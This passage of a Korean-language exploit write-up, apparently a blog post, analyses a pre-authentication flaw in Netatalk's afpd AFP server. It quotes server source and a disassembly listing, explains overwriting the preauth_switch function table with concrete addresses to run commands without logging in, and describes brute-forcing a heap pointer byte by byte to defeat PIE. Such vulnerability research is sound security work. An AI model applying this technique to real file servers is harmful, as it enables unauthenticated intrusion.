/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;afp_switch&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;function&lt;/span&gt;])&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;datalen&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;DSI_DATASIZ&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;flags&lt;/span&gt;&amp;nbsp;|=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;DSI_RUNNING&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;LOG&lt;/span&gt;(&lt;span style=&quot;color: #4fc1ff;&quot;&gt;log_debug&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;logtype_afpd&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;&amp;lt;==&amp;nbsp;Start&amp;nbsp;AFP&amp;nbsp;command:&amp;nbsp;%s&quot;&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;AfpNum2name&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;function&lt;/span&gt;));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;AFP_AFPFUNC_START&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;function&lt;/span&gt;,&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*)&lt;span style=&quot;color: #dcdcaa;&quot;&gt;AfpNum2name&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;function&lt;/span&gt;));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;err&lt;/span&gt;&amp;nbsp;=&amp;nbsp;(*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;afp_switch&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;function&lt;/span&gt;])(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;obj&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*)&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;commands&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cmdlen&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*)&amp;amp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;data&lt;/span&gt;,&amp;nbsp;&amp;amp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;datalen&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;AFP_AFPFUNC_DONE&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;function&lt;/span&gt;,&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*)&lt;span style=&quot;color: #dcdcaa;&quot;&gt;AfpNum2name&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;function&lt;/span&gt;));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;LOG&lt;/span&gt;(&lt;span style=&quot;color: #4fc1ff;&quot;&gt;log_debug&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;logtype_afpd&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;==&amp;gt;&amp;nbsp;Finished&amp;nbsp;AFP&amp;nbsp;command:&amp;nbsp;%s&amp;nbsp;-&amp;gt;&amp;nbsp;%s&quot;&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;AfpNum2name&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;function&lt;/span&gt;),&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;AfpErr2name&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;err&lt;/span&gt;));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;dir_free_invalid_q&lt;/span&gt;();&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;flags&lt;/span&gt;&amp;nbsp;&amp;amp;=&amp;nbsp;~&lt;span style=&quot;color: #569cd6;&quot;&gt;DSI_RUNNING&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;Add&amp;nbsp;result&amp;nbsp;to&amp;nbsp;the&amp;nbsp;AFP&amp;nbsp;replay&amp;nbsp;cache&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;replaycache&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;rc_idx&lt;/span&gt;].&lt;span style=&quot;color: #9cdcfe;&quot;&gt;DSIreqID&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;clientID&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;replaycache&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;rc_idx&lt;/span&gt;].&lt;span style=&quot;color: #9cdcfe;&quot;&gt;AFPcommand&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;function&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;replaycache&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;rc_idx&lt;/span&gt;].&lt;span style=&quot;color: #9cdcfe;&quot;&gt;result&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;err&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;{&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;etc/afpd/afp_dsi.c&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이 preauth_switch 배열을 덮어씌워서 계정을 인증시키지 않고도 AFP Command를 실행시킬 수 있게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;===================RIP&amp;darr;==================&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;preauth_switch는 afp_switch에서 주소를 찾을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;ida-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;ida-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #2d2d2d;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ababab;&quot;&gt;&lt;span style=&quot;color: #7c7c61;&quot;&gt;.data:000A2184&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9dd600;&quot;&gt;EXPORT&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ebebb9;&quot;&gt;afp_switch&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #7c7c61;&quot;&gt;.data:000A2184&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ebebb9;&quot;&gt;afp_switch&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DCD&amp;nbsp;&lt;span style=&quot;color: #aaff00;&quot;&gt;unk_A1984&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #7c7c61;&quot;&gt;;&amp;nbsp;DATA&amp;nbsp;XREF:&amp;nbsp;LOAD:00015B60&amp;uarr;o&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #7c7c61;&quot;&gt;.data:000A2184&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #7c7c61;&quot;&gt;;&amp;nbsp;afp_over_dsi:loc_1C468&amp;uarr;o&amp;nbsp;...&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;0xA1984의 주소로 dsi-&amp;gt;command를 옮기고 preauth_switch[1] 에 afp_getsrvrinfo의 주소인 0x3DEF4를 써서 서버 정보를 가져올 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;+ ARM 바이너리를 qemu를 사용해 에뮬레이션하면, afp.conf에서 포트를 설정하더라도 다른 포트로 연결이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;# PoC (Address Leak, PIE)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;afpd가 PIE로 컴파일되어 있으면 바이너리 또는 라이브러리의 주소를 알아내야 할 필요가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;afpd는 유저 입력이 들어오면 해당 입력을 처리하기 위해 clone으로 child process를 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;clone을 통해 프로세스가 복제되면서, child와 parent는 항상 같은 메모리 매핑 상태를 유지하고 있다. 이 때 child에서 SIGSEGV가 발생하면 연결이 끊기는 점을 활용하여, &lt;code&gt;dsi-&amp;gt;commands&lt;/code&gt; 값을 1바이트씩 브루트포싱할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;dsi-&amp;gt;commands&lt;/code&gt; 의 할당은 dsi_tcp.c의 &lt;code&gt;dsi_init_buffer&lt;/code&gt; 함수에서 이루어진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0px; padding: 0px; border: none; border-radius: 4px; background-color: #1e1e1e; height: 364px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 364px;&quot;&gt;
&lt;td style=&quot;width: 27px; padding: 6px 14px; height: 364px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;86&lt;br /&gt;87&lt;br /&gt;88&lt;br /&gt;89&lt;br /&gt;90&lt;br /&gt;91&lt;br /&gt;92&lt;br /&gt;93&lt;br /&gt;94&lt;br /&gt;95&lt;br /&gt;96&lt;br /&gt;97&lt;br /&gt;98&lt;br /&gt;99&lt;br /&gt;100&lt;br /&gt;101&lt;br /&gt;102&lt;br /&gt;103&lt;br /&gt;104&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; text-align: left; height: 364px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&lt;br /&gt;&amp;nbsp;*&amp;nbsp;Allocate&amp;nbsp;DSI&amp;nbsp;read&amp;nbsp;buffer&amp;nbsp;and&amp;nbsp;read-ahead&amp;nbsp;buffer&lt;br /&gt;&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;static&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;dsi_init_buffer&lt;/span&gt;(&lt;span style=&quot;color: #4ec9b0;&quot;&gt;DSI&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;((&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;commands&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;server_quantum&lt;/span&gt;))&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;LOG&lt;/span&gt;(&lt;span style=&quot;color: #4fc1ff;&quot;&gt;log_error&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;logtype_dsi&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;dsi_init_buffer:&amp;nbsp;OOM&quot;&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;AFP_PANIC&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;OOM&amp;nbsp;in&amp;nbsp;dsi_init_buffer&quot;&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;dsi_peek()&amp;nbsp;read&amp;nbsp;ahead&amp;nbsp;buffer,&amp;nbsp;default&amp;nbsp;is&amp;nbsp;12&amp;nbsp;*&amp;nbsp;300k&amp;nbsp;=&amp;nbsp;3,6&amp;nbsp;MB&amp;nbsp;(Apr&amp;nbsp;2011)&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;((&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buffer&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsireadbuf&lt;/span&gt;&amp;nbsp;*&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;server_quantum&lt;/span&gt;))&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;LOG&lt;/span&gt;(&lt;span style=&quot;color: #4fc1ff;&quot;&gt;log_error&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;logtype_dsi&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;dsi_init_buffer:&amp;nbsp;OOM&quot;&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;AFP_PANIC&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;OOM&amp;nbsp;in&amp;nbsp;dsi_init_buffer&quot;&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;start&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buffer&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;eof&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buffer&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;end&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buffer&lt;/span&gt;&amp;nbsp;+&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsireadbuf&lt;/span&gt;&amp;nbsp;*&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: 